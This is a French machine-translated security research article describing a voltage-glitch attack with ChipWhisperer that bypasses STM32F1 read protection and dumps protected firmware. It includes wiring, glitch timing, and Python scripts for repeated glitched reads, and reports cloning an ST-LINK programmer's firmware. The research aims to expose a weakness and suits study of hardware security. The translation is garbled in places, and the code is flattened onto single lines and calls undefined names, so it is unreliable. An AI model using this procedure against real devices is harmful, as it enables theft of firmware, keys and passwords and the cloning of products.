Lire le firmware sécurisé du flash STM32F1xx à l'aide de ChipWhisperer


Dans l' article précédent , nous avons traité des attaques Vcc-glitch à l'aide de ChipWhisperer. Notre objectif supplémentaire était une étude progressive du processus de lecture des microcontrôleurs à microprogramme protégés. À l'aide de telles attaques, un attaquant peut accéder à tous les mots de passe des appareils et algorithmes logiciels. Un exemple frappant est le piratage du portefeuille cryptographique matériel Ledger Nano S avec la carte MK STM32F042 utilisant des attaques Vcc-glitch.


Intéressant? Regardons sous le chat.


Nous avons appris la possibilité de lire le firmware protégé à partir d'un article qui montre les résultats d'une attaque Vcc-glitch - contournant l'octet de protection RDP via un chargeur de démarrage pour plusieurs microcontrôleurs (ci-après - MK). Nous vous recommandons également de lire l' article sur la rupture de l'ESP32.


La base théorique de l'étude était la ligne directrice pour la lecture réussie du microprogramme protégé pour LPC1114 via un chargeur de démarrage masqué utilisant ChipWhisperer.


Comme dans le premier article, nous avons décidé de mener des expériences sur la carte MK STM32F103RBT6:



Board STM32F103RBT6


La capacité d'écrire des données dans les secteurs de la mémoire flash et de la RAM ou de les lire, ainsi que d'effectuer d'autres actions avec la mémoire MK est déterminée par la valeur de l'octet de protection (pour STM32 - RDP). Pour différents MK, les valeurs et le but des octets de protection, ainsi que l'algorithme pour les vérifier, sont différents.


Configuration matérielle


Commençons l'expérience. Vous devez d'abord connecter ChipWhisperer à MK selon la figure:



Schéma de connexion de ChipWhisperer à STM32 pour lire le firmware protégé via un chargeur de masque


Les éléments à retirer de la carte STM32F103RBT6 sont barrés dans le schéma (contrairement à la connexion MK standard). Les flèches indiquent les points de connexion de ChipWhisperer et les signatures indiquent ses broches.


La présence de quartz externe, illustrée dans le diagramme, n'est pas nécessaire, car lorsque vous travaillez avec un chargeur de masque, le MK STM32F103RBT6 utilise une HORLOGE interne avec une fréquence de 24 MHz, il n'y a donc pas de synchronisation entre ChipWhisperer et MK.


Passons à la configuration de ChipWhisperer. Comme indiqué ci-dessus, la fréquence recommandée de ChipWhisperer est de 24 MHz (ou un autre multiple). Plus la multiplicité de cette fréquence est élevée, plus vous pouvez ajuster avec précision le moment de l'attaque. En raison du manque de synchronisation, la sélection du paramètre scope.glitch.offset est facultative; n'importe quelle valeur peut lui être affectée.


Les paramètres scope.glitch.repeat et scope.glitch.width doivent être sélectionnés en fonction de la fréquence définie de ChipWhisperer. Avec une grande valeur de fréquence, toutes les impulsions à court terme, dont le nombre est défini à l'aide de scope.glitch.repeat, fusionnent en une seule impulsion longue. Par conséquent, vous pouvez sélectionner la valeur du paramètre scope.glitch.width et scope.glitch.repeat à corriger, ou vice versa. Nous avons constaté que la durée d'impulsion optimale devrait être d'environ 80 ns (définie comme la largeur d'impulsion à la moitié maximum).


Reste à sélectionner la valeur du paramètre scope.glitch.ext_offset.


Sélection scope.glitch.ext_offset


Vous devez d'abord choisir le moment de l'attaque. Selon le schéma présenté dans le document de la société STM, la valeur d'octet de protection est vérifiée après réception d'une demande de lecture des données du secteur flash:



L'algorithme de réponse à une demande de lecture de données du secteur flash


Pour vérifier la validité d'un tel schéma de vérification, nous lisons le code exécutable d'un chargeur comme MK sans protection RDP via ST-Link. Les figures ci-dessous montrent des parties de l'algorithme de traitement des commandes de lecture de mémoire .



Vue générale du traitement d'une commande de lecture en mémoire (l'appel à la fonction de vérification RDP et l'envoi de NACK en cas d'échec de vérification sont clairement visibles)



Corps de la fonction de validation RDP


Prenons attention au corps de la fonction de vérification RDP: on peut voir que le registre est lu à 0x40022000 + 0x1C , un décalage logique de 30 bits et une ramification. À partir de la documentation du manuel de programmation PM0075 (microcontrôleurs de mémoire flash STM32F10xxx), il 0x40022000 clairement que 0x40022000 est l'adresse de base du contrôleur de mémoire flash et 0x1C est le décalage de registre FLASH_OBR , dans lequel nous sommes intéressés par le deuxième bit de RDPRT : Protection en lecture, qui contient le statut de protection RDP.


Le moment nécessaire de l'attaque est le développement de l'instruction LDR (chargement depuis la mémoire). Cette instruction se situe entre la demande de lecture du firmware (envoi d'un octet 0x11 avec une 0xEE ) et la réponse ACK / NOACK MK par UART. Afin de fixer visuellement ce moment, il est nécessaire de connecter l'oscilloscope à UART1_RX (broche PA10) et UART1_TX (broche PA9), puis de surveiller le changement de tension selon UART1. Par conséquent, la forme d'onde d'attaque de puissance avec la valeur scope.glitch.ext_offset sélectionnée devrait ressembler à ceci:



Choisir le moment de l'attaque


Script de lecture du firmware


Vous devez maintenant spécifier le moment de déclenchement du déclencheur CW_TRIG en code Python afin d'intercepter le moment de la transmission de la somme de contrôle via UART1_RX. ChipWhisperer possède une bibliothèque pour communiquer avec le maskloader STM32 MK. En mode normal, cette bibliothèque est utilisée pour télécharger le micrologiciel des manuels vers le MK à l'aide de la classe de class STM32FSerial(object) située dans le fichier programmer_stm32fserial.py le long du chemin software/chipwhisperer/hardware/naeusb/ . Pour activer le déclencheur, vous devez copier cette classe dans le script exécutable principal afin que la méthode de classe CmdGeneric(self, cmd) devienne accessible globalement, et ajoutez la commande scope.arm() avant d'envoyer la somme de contrôle (0xEE) de la demande de lecture du secteur mémoire. La classe finale est donnée dans le spoiler ci-dessous.


Classe pour communiquer ChipWhisperer avec STM32
 import time import sys import logging from chipwhisperer.common.utils import util from chipwhisperer.hardware.naeusb.programmer_stm32fserial import supported_stm32f from chipwhisperer.capture.api.programmers import Programmer # class which can normally using internal CW library for reading STM32 firmware by UART class STM32Reader(Programmer): def __init__(self): super(STM32Reader, self).__init__() self.supported_chips = supported_stm32f self.slow_speed = False self.small_blocks = True self.stm = None def stm32prog(self): if self.stm is None: stm = self.scope.scopetype.dev.serialstm32f else: stm = self.stm stm.slow_speed = self.slow_speed stm.small_blocks = self.small_blocks return stm def stm32open(self): stm32f = self.stm32prog() stm32f.open_port() def stm32find(self): stm32f = self.stm32prog() stm32f.scope = self.scope sig, chip = stm32f.find() def stm32readMem(self, addr, lng): stm32f = self.stm32prog() stm32f.scope = self.scope #answer = stm32f.readMemory(addr, lng) answer = self.ReadMemory(addr, lng) return answer def stm32GetID(self): stm32f = self.stm32prog() stm32f.scope = self.scope answer = stm32f.cmdGetID() return answer # Needed for connection to STM after reload by reset_target(scope) method def FindSTM(self): #setup serial port (or CW-serial port?) stm32f = self.stm32prog() try: stm32f.initChip() except IOError: print("Failed to detect chip. Check following: ") print(" 1. Connections and device power. ") print(" 2. Device has valid clock (or remove clock entirely for internal osc).") print(" 3. On Rev -02 CW308T-STM32Fx boards, BOOT0 is routed to PDIC.") raise boot_version = stm32f.cmdGet() chip_id = stm32f.cmdGetID() for t in supported_stm32f: if chip_id == t.signature: # print("Detected known STMF32: %s" % t.name) stm32f.setChip(t) return chip_id, t # print("Detected unknown STM32F ID: 0x%03x" % chip_id) return chip_id, None 

Il convient de noter que le chargeur de masques STM32F1xx vous permet de lire pas plus de 256 octets de micrologiciel à partir d'un secteur flash spécifié en une seule demande. Par conséquent, lors de la lecture de l'intégralité du firmware du MK, il est nécessaire d'effectuer plusieurs requêtes de lecture lors de l'attaque Vcc-glitch. Ensuite, les 256 octets reçus doivent être divisés en huit tableaux de 32 octets et former un fichier HEX à partir d'eux.


Code du convertisseur HEX et fonctions auxiliaires
 def int2str_0xFF(int_number, number_of_bytes): return '{0:0{1}X}'.format(int_number,number_of_bytes_in_string) def data_dividing_from_256_to_32_bytes (data_to_divide, mem_sector, mem_step=32): if mem_sector > 0xFFFF: mem_conversion = mem_sector >> 16 mem_conversion = mem_sector - (mem_conversion << 16) data_out = '' for i in range(int(256/mem_step)): data_vector = data_to_divide[(i * mem_step):((i + 1) * mem_step)] mem_calc = mem_conversion + (i * mem_step) data_out += read_and_convert_data_hex_file(data_vector, mem_calc, mem_step) + '\n' return data_out def read_and_convert_data_hex_file(data_to_convert, memory_address, mem_step): addr_string = memory_address -((memory_address >> 20) << 20) data_buffer = '' crcacc = 0 for x in range(0, len(data_to_convert)): data_buffer += int2str_0xFF(data_to_convert[x], 2) crcacc += data_to_convert[x] crcacc += mem_step temp_addr_string = addr_string for i in range (4, -1, -2): crcacc += temp_addr_string >> i*4 temp_addr_string -= ((temp_addr_string >> i*4) << i*4) crcacc_2nd_symbol = (crcacc >> 8) + 1 crcacc = (crcacc_2nd_symbol << 8) - crcacc if crcacc == 0x100: crcacc = 0 RECTYP = 0x00 out_string = ':'+ Int_To_Hex_String(mem_step, 2) +\ Int_To_Hex_String((addr_string),4) +\ Int_To_Hex_String(RECTYP, 2) +\ data_buffer +\ Int_To_Hex_String(crcacc, 2) return out_string def send_to_file(info_to_output, File_name, directory): file = open(directory + File_name + '.hex', 'w') file.write(info_to_output) file.close() def reset_target(scope): scope.io.nrst = 'low' time.sleep(0.05) scope.io.nrst = 'high' from collections import namedtuple Range = namedtuple('Range', ['min', 'max', 'step']) 

La configuration des paramètres de ChipWhisperer est maintenant terminée. Le script final pour lire le firmware est le suivant:


 # string of start HEX file Start_of_File_Record = ':020000040800F2' # string of end HEX file End_of_File_Record = ':00000001FF' length_of_sector = 256 if length_of_sector % 4 != 0: sys.exit('length_of_sector must be equal to 4') output_to_file_buffer = '' output_to_file_buffer += Start_of_File_Record + '\n' mem_current = mem_start while mem_current < mem_stop: # flush the garbage from the computer's target read buffer target.ser.flush() # run aux stuff that should run before the scope arms here reset_target(scope) # initialize STM32 after each reset prog.FindSTM() try: # reading of closed memory sector data = prog.stm32readMem(mem_current, length_of_sector) except Exception as message: message = str(message) if "Can't read port" in message: # print('Port silence') pass elif 'Unknown response. 0x11: 0x0' in message: # print('Crashed. Reload!') pass elif 'NACK 0x11' in message: # print('Firmware is closed!') pass else: # print('Unknown error:', message, scope.glitch.offset, scope.glitch.width, scope.glitch.ext_offset) pass else: data_to_out = data_dividing_from_256_to_32_bytes (data, mem_current) print(data_to_out) output_to_file_buffer += data_to_out mem_current += length_of_sector output_to_file_buffer += End_of_File_Record + '\n' send_to_file(output_to_file_buffer, File_name, directory) 

Tous les messages print() ont été mis en commentaire après la ligne, except Exception as aide à surveiller l'état du MC lors de la recherche des paramètres optimaux pour l'impulsion de pépin. Pour suivre l'état spécifique de MK, il suffit de décommenter le message print() nécessaire.


Résultats de lecture


La vidéo montre le téléchargement du firmware sur le MK via le programmateur ST-LINK, le transfert de RDP à l'état de protection puis la lecture du firmware:



Les erreurs suivantes peuvent empêcher des attaques Vcc-glitch réussies:


• lire le mauvais secteur de la mémoire;


• suppression spontanée du firmware.


Une sélection précise du moment de l'attaque en augmentant la fréquence de ChipWhisperer aidera à éviter de telles erreurs.


Après avoir développé et débogué l'algorithme de lecture du firmware protégé, nous avons effectué une lecture test du firmware du programmateur ST-LINK-V2.1, qui fonctionne sur le STM32F103CBT6 MK. Quelques firmware, nous avons cousu un MK STM32F103CBT6 "propre" et l'avons installé à la place de celui d'origine. En conséquence, ST-LINK-V2.1 avec le MK remplacé a fonctionné en mode normal, comme s'il n'y avait pas de substitution.


Nous avons également tenté de mener une série d'attaques contre STM32F303RCT7. Ce MK pendant l'attaque s'est comporté de manière identique à STM32F103RBT6, mais la réponse à la demande de mémoire de lecture contenait un octet égal à 0x00, ce qui ne coïncidait pas avec le résultat attendu. La raison de cet échec était un principe plus complexe et développé d'organiser la protection de ces MK.


Il existe deux états de protection dans le STM32F1xx MK: la protection est désactivée (niveau 0) et activée (niveau 1). Dans les modèles plus anciens, il existe trois états de protection: la protection est désactivée (niveau 0, RDP = 0x55AA), la protection de la mémoire flash et SRAM (niveau 2, RDP = 0x33CC) et la protection de la mémoire flash uniquement (niveau 1, RDP prend toutes les valeurs autres que de 0x55AA et 0x33CC). Étant donné que le niveau 1 peut prendre de nombreuses valeurs RDP, le réglage du niveau 0 est assez difficile. D'autre part, il est possible de baisser le niveau de protection du niveau 2 au niveau 1 en renversant un bit dans l'octet RDP (illustré dans la figure ci-dessous), ce qui permet d'accéder à la mémoire SRAM.



Comparaison des valeurs RDP pour différents niveaux de protection du firmware


Il ne reste plus qu'à comprendre comment un attaquant peut en profiter. Par exemple, à l'aide de la méthode CBS (Cold-Boot Stepping) décrite dans cet article . Cette méthode est basée sur un instantané progressif de l'état de la mémoire SRAM (la fréquence de chaque instantané était en microsecondes) après le chargement du MC afin d'obtenir des clés de chiffrement, des mots de passe cachés ou toute autre information précieuse. Les auteurs suggèrent que la méthode CBS fonctionnera sur toutes les séries STM32 MK.


Conclusions


Pour résumer nos expériences. Il nous a fallu plusieurs jours pour terminer une attaque de pépin Vcc en utilisant les données obtenues d'une étude précédente (qui peut être lue ici ). Ainsi, apprendre à mener de telles attaques est assez facile.


Les attaques Vcc-glitch sont dangereuses car elles sont difficiles à défendre. Pour réduire la probabilité de mener à bien de telles attaques, il est proposé d'utiliser MK avec un niveau de protection plus élevé.



Raccoon Security est une équipe spéciale d'experts du Centre scientifique et technique Volcano dans le domaine de la sécurité des informations pratiques, de la cryptographie, des circuits, de la rétro-ingénierie et de la création de logiciels de bas niveau.


Source: https://habr.com/ru/post/fr483732/


All Articles